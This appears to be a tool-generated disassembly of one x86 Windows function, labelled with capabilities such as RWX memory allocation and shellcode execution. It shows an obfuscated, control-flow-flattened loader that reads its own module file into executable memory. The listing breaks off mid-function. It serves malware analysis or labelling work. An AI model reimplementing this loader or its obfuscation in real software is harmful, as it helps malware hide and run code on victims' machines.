Function at 0x100012d8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x60
mov eax, dword [0x10005004]
mov ecx, dword [section..data]
lea edx, [eax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [ebp - 0x35]
cmp ecx, 0xa
setl byte [ebp - 0x36]
xor esi, esi
mov eax, 0x3a482265
cmp eax, 0xf01a6edc
jle 0x1000137a
cmp eax, 0x30d13e37
jg 0x100013df
cmp eax, 0xc813228
jg 0x100014dc
cmp eax, 0x4ae47ea
jg 0x10001677
cmp eax, 0xfd12f658
jle 0x100019ab
cmp eax, 0x12b27a7
jle 0x10001dc3
cmp eax, 0x12b27a8
je 0x10002517
cmp eax, 0x423532c
je 0x10001e72
cmp eax, 0x48e0351
jne 0x1000130c
cmp byte [ebp - 0x37], 0
mov eax, 0x4c2a5a7b
mov ecx, 0xfd12f659
cmovne eax, ecx
jmp 0x1000130c
cmp eax, 0xbbe11fb7
jle 0x10001448
cmp eax, 0xdae900eb
jg 0x10001528
cmp eax, 0xc362fdf3
jg 0x100016e2
cmp eax, 0xbf78fed6
jle 0x100019d6
cmp eax, 0xc0664078
jle 0x10001e0d
cmp eax, 0xc0664079
je 0x1000254a
cmp eax, 0xc1bfb039
je 0x1000259c
cmp eax, 0xc1c54249
jne 0x1000130c
mov eax, dword [ebp - 0x14]
mov eax, 0xd7170d89
jmp 0x1000130c
cmp eax, 0x5a8df6ce
jg 0x10001574
cmp eax, 0x44336bf5
jg 0x1000179f
cmp eax, 0x3b50d5f0
jle 0x10001a2a
cmp eax, 0x3f7a8cfb
jle 0x10001e2d
cmp eax, 0x3f7a8cfc
je 0x100025a6
cmp eax, 0x3fbc4862
je 0x100025b0
cmp eax, 0x3fde5e69
jne 0x1000130c
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, dword [ebp - 0x34]
mov dword [eax], 1
mov eax, 0xdc87cfa8
jmp 0x1000130c
cmp eax, 0x9f535eb8
jg 0x100015e4
cmp eax, 0x906e23c4
jg 0x100017e0
cmp eax, 0x8b13e88e
jle 0x10001a58
cmp eax, 0x8c834db9
jle 0x10001e7c
cmp eax, 0x8c834dba
je 0x1000261c
cmp eax, 0x8fe52646
je 0x10002650
cmp eax, 0x9012eb9d
jne 0x1000130c
mov eax, dword [ebp - 0x44]
inc eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x6543240a
mov ebx, 0xc1bfb039
cmove eax, ebx
cmp dword [section..data], 0xa
mov edx, 0x6543240a
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, ebx
jmp 0x1000130c
cmp eax, 0x1dea8cf7
jg 0x1000184a
cmp eax, 0x154752b3
jle 0x10001a7e
cmp eax, 0x17949a3d
jle 0x10001e9f
cmp eax, 0x17949a3e
je 0x1000250d
cmp eax, 0x19629fb3
je 0x1000265a
cmp eax, 0x1d76ab62
jne 0x1000130c
mov eax, 0x8c834dba
jmp 0x1000130c
cmp eax, 0xe2b09220
jg 0x100018c1
cmp eax, 0xdc8edcc5
jle 0x10001aa9
cmp eax, 0xe0c28808
jle 0x10001ef1
cmp eax, 0xe0c28809
je 0x1000266d
cmp eax, 0xe0c6662f
je 0x10002699
cmp eax, 0xe217a172
jne 0x1000130c
mov eax, 0x676d7cb
jmp 0x1000130c
cmp eax, 0x6d8882fb
jg 0x1000190b
cmp eax, 0x6304ff3d
jle 0x10001aee
cmp eax, 0x67417ae4
jle 0x10001f3b
cmp eax, 0x67417ae5
je 0x100026d0
cmp eax, 0x693331c3
je 0x10002703
cmp eax, 0x6ab45849
jne 0x1000130c
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x64]
setb byte [ebp - 0x3a]
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xaeb5288b
mov edi, 0xda3579d
jmp 0x10002962
cmp eax, 0xa9744fdf
jg 0x1000194c
cmp eax, 0xa2936cf2
jle 0x10001b19
cmp eax, 0xa72e9331
jle 0x10001f70
cmp eax, 0xa72e9332
je 0x10002798
cmp eax, 0xa73d0fb5
je 0x100027b1
cmp eax, 0xa81be843
jne 0x1000130c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x58]
push dword [eax]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
setne byte [ebp - 0x39]
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x4ecc5bd
mov edi, 0x2e9c4f73
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x4ecc5bd
jmp 0x1000316d
cmp eax, 0x61bbf1b
jle 0x10001b52
cmp eax, 0x7bc1b0e
jle 0x10001f90
cmp eax, 0x7bc1b0f
je 0x100027bb
cmp eax, 0x7e6dd70
je 0x1000250d
cmp eax, 0x7eab7c8
jne 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x398d83fb
mov edi, 0x17949a3e
jmp 0x10002f6c
cmp eax, 0xc918070f
jle 0x10001b95
cmp eax, 0xd6da4123
jle 0x10001fd9
cmp eax, 0xd6da4124
je 0x1000280c
cmp eax, 0xd7170d89
je 0x10002816
cmp eax, 0xda68d142
jne 0x1000130c
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x10], eax
push eax
mov ecx, esp
mov ebx, dword [0x10005004]
mov edx, dword [section..data]
lea eax, [ebx + 1]
imul eax, ebx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0x3f7a8cfc
mov edi, 0x58930db4
cmovne ebx, edi
cmp eax, 0xffffffff
mov eax, ebx
cmove eax, edi
cmp edx, 0xa
mov dword [ebp - 0x30], ecx
cmovge eax, ebx
jmp 0x1000130c
cmp eax, 0x52418852
jle 0x10001bea
cmp eax, 0x54d7c39f
jle 0x1000202c
cmp eax, 0x54d7c3a0
je 0x10002851
cmp eax, 0x581c5562
je 0x1000288c
cmp eax, 0x58930db4
jne 0x1000130c
mov eax, 0x4861422e
jmp 0x1000130c
cmp eax, 0x97235904
jle 0x10001c15
cmp eax, 0x9e221c1c
jle 0x1000204c
cmp eax, 0x9e221c1d
je 0x10002896
cmp eax, 0x9e81d863
je 0x100028a0
cmp eax, 0x9ec09d6d
jne 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x3f7a8cfc
mov edi, 0xda68d142
jmp 0x10003068
cmp eax, 0x26fc01bd
jle 0x10001c78
cmp eax, 0x2badc822
jle 0x1000206c
cmp eax, 0x2badc823
je 0x100028d3
cmp eax, 0x2e9c4f73
je 0x100028dd
cmp eax, 0x2edefbf6
jne 0x1000130c
push 0x40
push 0x3000
push dword [ebp - 0x5c]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xebe8ada2
mov edi, 0x581c5562
jmp 0x10001bd6
cmp eax, 0xeae7d011
jle 0x10001cdf
cmp eax, 0xee1fa24d
jle 0x100020b6
cmp eax, 0xee1fa24e
je 0x100028f3
cmp eax, 0xef2ad30d
je 0x1000292c
cmp eax, 0xef71412d
jne 0x1000130c
mov eax, dword [ebp - 0x34]
mov dword [eax], 1
mov eax, 0xce027622
jmp 0x1000130c
cmp eax, 0x73862bad
jle 0x10001d3b
cmp eax, 0x76ac709a
jle 0x100020f1
cmp eax, 0x76ac709b
je 0x10002936
cmp eax, 0x773d3353
je 0x10002943
cmp eax, 0x7e839415
jne 0x1000130c
mov eax, 0xdc8edcc6
jmp 0x1000130c
cmp eax, 0xb0433e32
jle 0x10001d8f
cmp eax, 0xb58f3499
jle 0x10002111
cmp eax, 0xb6e03db2
je 0x10002976
cmp eax, 0xb8dc564e
jne 0x1000318d
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xe2b09221
mov edi, 0x54d7c3a0
jmp 0x10003068
cmp eax, 0xf7e26fe7
jg 0x10002131
cmp eax, 0xf01a6edd
je 0x100029a9
cmp eax, 0xf5110c5f
jne 0x1000130c
mov eax, 0x7bc1b0f
jmp 0x1000130c
cmp eax, 0xbefdeae7
jg 0x10002151
cmp eax, 0xbbe11fb8
je 0x100029bc
cmp eax, 0xbd13b2e0
jne 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x398d83fb
mov edi, 0x7eab7c8
jmp 0x10003068
cmp eax, 0x398d83fa
jg 0x10002171
cmp eax, 0x30d13e38
je 0x100029c6
cmp eax, 0x3722280c
jne 0x1000130c
mov eax, dword [ebp - 0x30]
mov eax, 0x1dea8cf8
jmp 0x1000130c
cmp eax, 0x86216450
jg 0x100021b4
cmp eax, 0x802ea926
je 0x100029d3
cmp eax, 0x845891b8
je 0x10001e72
jmp 0x1000130c
cmp eax, 0xda3579c
jg 0x100021fd
cmp eax, 0xc813229
je 0x100029dd
cmp eax, 0xd806324
jne 0x1000130c
mov eax, 0xc75a7f0f
jmp 0x1000130c
cmp eax, 0xdbf382d9
jg 0x10002247
cmp eax, 0xdae900ec
je 0x10002a24
cmp eax, 0xdb32367e
jne 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x4ae47eb
mov edi, 0x3fbc4862
jmp 0x10002608
cmp eax, 0x61b8645a
jg 0x100022a2
cmp eax, 0x5a8df6cf
je 0x10002a8b
cmp eax, 0x6119c192
jne 0x1000130c
mov eax, 0x9ec09d6d
jmp 0x1000130c
cmp eax, 0xa0828c42
jg 0x100022c2
cmp eax, 0x9f535eb9
je 0x10002ac8
cmp eax, 0x9f63c9d4
jne 0x1000130c
mov eax, dword [ebp - 0x18]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
mov eax, 0x61bbf1c
jmp 0x1000130c
cmp eax, 0x55c60d6
jg 0x10002326
cmp eax, 0x4ae47eb
je 0x10002ae4
cmp eax, 0x4ecc5bd
jne 0x1000130c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x58]
push dword [eax]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 0xa81be843
jmp 0x1000130c
cmp eax, 0xc5920400
jg 0x10002352
cmp eax, 0xc362fdf4
je 0x10002b1f
cmp eax, 0xc3aa0ce5
jne 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xebe8ada2
mov edi, 0x2edefbf6
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0xebe8ada2
jmp 0x1000316d
cmp eax, 0x4861422d
jg 0x1000239c
cmp eax, 0x44336bf6
je 0x10002b53
cmp eax, 0x46fd8303
jne 0x1000130c
mov eax, 0x12b27a8
jmp 0x1000130c
cmp eax, 0x93a402dd
jg 0x100023d6
cmp eax, 0x906e23c5
je 0x10002ba0
cmp eax, 0x9202bbda
jne 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
mov ecx, 0xb0433e33
mov ebx, 0xf5110c5f
cmove ecx, ebx
cmp dword [section..data], 0xa
setl dl
mov edi, 0xb0433e33
cmovge ecx, edi
xor esi, esi
xor dl, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x1000130c
cmp eax, 0x20cafa7d
jg 0x10002429
cmp eax, 0x1dea8cf8
je 0x10002bb3
cmp eax, 0x1f2233ff
jne 0x1000130c
mov eax, dword [ebp - 0x20]
push 0x8000
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xeabfe152
mov edi, 0xbf59471d
jmp 0x10002f6c
cmp eax, 0xe7f50853
jg 0x10002449
cmp eax, 0xe2b09221
je 0x10002bef
cmp eax, 0xe329ebe0
jne 0x1000130c
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x8c014df3
mov edi, 0x1d76ab62
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x8c014df3
jmp 0x1000316d
cmp eax, 0x6e47e8ac
jg 0x1000247b
cmp eax, 0x6d8882fc
je 0x10002c01
cmp eax, 0x6dccfc40
jne 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x86216451
mov edi, 0xbf78fed7
jmp 0x10003068
cmp eax, 0xaeb5288a
jg 0x100024c4
cmp eax, 0xa9744fe0
je 0x10002c5d
cmp eax, 0xa9b93dd4
jne 0x1000130c
mov eax, dword [ebp - 0x34]
mov dword [eax], 1
mov eax, 0x9455e567
jmp 0x1000130c
cmp eax, 0xfd12f659
je 0x10002c90
cmp eax, 0xfdd847a1
jne 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x98f87d94
mov edi, 0x3b50d5f1
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x98f87d94
jmp 0x1000316d
cmp eax, 0xbf78fed7
je 0x10002cc4
cmp eax, 0xc0462597
jne 0x1000130c
mov eax, 0xee1fa24e
jmp 0x1000130c
cmp eax, 0x3b50d5f1
je 0x10001e72
cmp eax, 0x3e32ad5f
jne 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xe217a172
mov edi, 0x676d7cb
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0xe217a172
jmp 0x1000316d
mov eax, 0xc813229
jmp 0x1000130c
cmp eax, 0x8b13e88f
je 0x10002cf7
cmp eax, 0x8c014df3
jne 0x1000130c
mov eax, dword [ebp - 0x14]
mov eax, 0xe329ebe0
jmp 0x1000130c
cmp eax, 0x154752b4
je 0x10002d36
cmp eax, 0x15809e2a
jne 0x1000130c
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xfffffffd
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x906e23c5
mov edi, 0x46fd8303
jmp 0x10003068
cmp eax, 0xdc8edcc6
je 0x10002d40
cmp eax, 0xdf973b95
jne 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5374b1d6
mov edi, 0x423532c
jmp 0x10002f6c
cmp eax, 0x6304ff3e
je 0x10002d73
cmp eax, 0x6543240a
jne 0x1000130c
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
inc eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, 0x9012eb9d
jmp 0x1000130c
cmp eax, 0xa2936cf3
je 0x10002da1
cmp eax, 0xa42989d7
jne 0x1000130c
mov eax, 0xb6e03db2
jmp 0x1000130c
cmp eax, 0x61bbf1c
je 0x10002dd4
cmp eax, 0x676d7cb
jne 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xe217a172
mov edi, 0x7e839415
jmp 0x10003068
cmp eax, 0xc9180710
je 0x10002e2a
cmp eax, 0xce027622
jne 0x1000130c
mov eax, dword [ebp - 0x34]
mov dword [eax], 1
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xef71412d
mov edi, 0xa73d0fb5
jmp 0x10002f6c
cmp eax, 0x52418853
je 0x10002e37
cmp eax, 0x5374b1d6
jne 0x1000130c
mov eax, 0xdf973b95
jmp 0x1000130c
cmp eax, 0x97235905
je 0x10002e6b
cmp eax, 0x98f87d94
jne 0x1000130c
mov eax, 0xfdd847a1
jmp 0x1000130c
cmp eax, 0x26fc01be
je 0x10002e75
cmp eax, 0x2a29f92e
jne 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x87ca0d33
mov edi, 0x6d8882fc
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x87ca0d33
jmp 0x1000316d
cmp eax, 0xeae7d012
je 0x10002ebb
cmp eax, 0xebe8ada2
jne 0x1000130c
push 0x40
push 0x3000
push dword [ebp - 0x5c]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
mov eax, 0x2edefbf6
jmp 0x1000130c
cmp eax, 0x73862bae
je 0x10002ef7
cmp eax, 0x755c733b
jne 0x1000130c
mov eax, 0xe0c6662f
jmp 0x1000130c
cmp eax, 0xb0433e33
je 0x10002f33
cmp eax, 0xb412f1ba
jne 0x1000130c
mov eax, 0x67417ae5
jmp 0x1000130c
cmp eax, 0xf7e26fe8
je 0x10002f3d
cmp eax, 0xfcb9d61d
jne 0x1000130c
mov eax, 0x6dccfc40
jmp 0x1000130c
cmp eax, 0xbefdeae8
je 0x10002f82
cmp eax, 0xbf59471d
jne 0x1000130c
mov eax, 0x52418853
jmp 0x1000130c
cmp eax, 0x398d83fb
je 0x10002f8c
cmp eax, 0x3a482265
jne 0x1000130c
mov cl, byte [ebp - 0x35]
mov al, byte [ebp - 0x36]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xc0462597
mov edi, 0xee1fa24e
cmovne eax, edi
test cl, cl
mov ecx, 0xc0462597
cmove eax, ecx
test dl, dl
cmovne eax, edi
jmp 0x1000130c
cmp eax, 0x86216451
je 0x10002f96
cmp eax, 0x87ca0d33
jne 0x1000130c
mov eax, dword [ebp - 0x18]
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
push 4
push 0x3000
push dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, 0x6d8882fc
jmp 0x1000130c
cmp eax, 0xda3579d
je 0x10002fa0
cmp eax, 0x10321f1a
jne 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x4ecc5bd
mov edi, 0xa81be843
jmp 0x10002f6c
cmp eax, 0xdbf382da
je 0x10002fb6
cmp eax, 0xdc87cfa8
jne 0x1000130c
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, dword [ebp - 0x34]
mov dword [eax], 1
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x3fde5e69
mov edi, 0x26656c88
jmp 0x10003068
cmp eax, 0x61b8645b
je 0x10002fc9
cmp eax, 0x61be09d0
jne 0x1000130c
mov eax, 0xf7e26fe8
jmp 0x1000130c
cmp eax, 0xa0828c43
je 0x10002ffd
cmp eax, 0xa18c56f6
jne 0x1000130c
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov dword [eax], esi
mov eax, dword [ebp - 0x30]
push 0x104
push dword [ebp - 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, 0x693331c3
jmp 0x1000130c
cmp eax, 0x55c60d7
je 0x10003007
cmp eax, 0x56107d9
jne 0x1000130c
cmp byte [ebp - 0x38], 0
mov eax, 0x2a29f92e
mov ecx, 0x61b8645b
cmovne eax, ecx
jmp 0x1000130c
cmp eax, 0xc5920401
je 0x1000303a
cmp eax, 0xc75a7f0f
jne 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x9f535eb9
mov edi, 0xc0664079
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x9f535eb9
jmp 0x1000316d
cmp eax, 0x4861422e
je 0x1000307d
cmp eax, 0x4c2a5a7b
jne 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x3722280c
mov edi, 0x1dea8cf8
jmp 0x10002bdb
cmp eax, 0x93a402de
je 0x100030b0
cmp eax, 0x9455e567
jne 0x1000130c
mov eax, dword [ebp - 0x34]
mov dword [eax], 1
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa9b93dd4
mov ebx, 0x9e221c1d
jmp 0x10002d26
cmp eax, 0x20cafa7e
je 0x100030c4
cmp eax, 0x26656c88
jne 0x1000130c
mov eax, 0xc813229
jmp 0x1000130c
cmp eax, 0xe7f50854
je 0x1000310d
cmp eax, 0xeabfe152
jne 0x1000130c
mov eax, dword [ebp - 0x20]
push 0x8000
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0x1f2233ff
jmp 0x1000130c
cmp eax, 0x6e47e8ad
je 0x1000313e
cmp eax, 0x71439696
jne 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xf01a6edd
mov edi, 0x73862bae
jmp 0x10003068
cmp eax, 0xaeb5288b
je 0x1000317d
cmp eax, 0xb01d7a36
jne 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xc1c54249
mov edi, 0xd7170d89
jmp 0x10003068
mov eax, 0xb01d7a36
jmp 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xef71412d
mov edi, 0xce027622
jmp 0x10003068
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9f535eb9
mov edi, 0x8fe52646
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x40]
mov ebx, dword [ebp - 0x2c]
lea ecx, [ecx + ebx - 4]
mov dword [ebp - 0x54], ecx
cmovge eax, edx
jmp 0x1000130c
mov eax, 0xa2936cf3
jmp 0x1000130c
mov eax, 0xda68d142
jmp 0x1000130c
mov eax, dword [ebp - 0x54]
mov byte [eax], 0
mov eax, dword [ebp - 0x2c]
sub esp, 0x1c
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], esi
movaps xmm0, xmmword [0x10004020]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0xffffffff
sete byte [ebp - 0x38]
mov eax, dword [0x10005004]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x4ae47eb
mov edi, 0x56107d9
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x4ae47eb
jmp 0x1000316d
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x6543240a
mov ebx, 0x9012eb9d
jmp 0x10002d26
mov eax, 0xdb32367e
jmp 0x1000130c
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xfffffffe
mov eax, 0x6304ff3e
jmp 0x1000130c
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x76ac709b
mov edi, 0xd6da4124
jmp 0x10002995
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
mov ecx, 0x755c733b
mov edi, 0xb58f349a
cmove ecx, edi
cmp dword [section..data], 0xa
setl dl
mov ebx, 0x755c733b
jmp 0x10002a15
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xc9180710
mov edi, 0x44336bf6
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0xc9180710
jmp 0x1000316d
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov dword [eax], esi
mov eax, dword [ebp - 0x30]
push 0x104
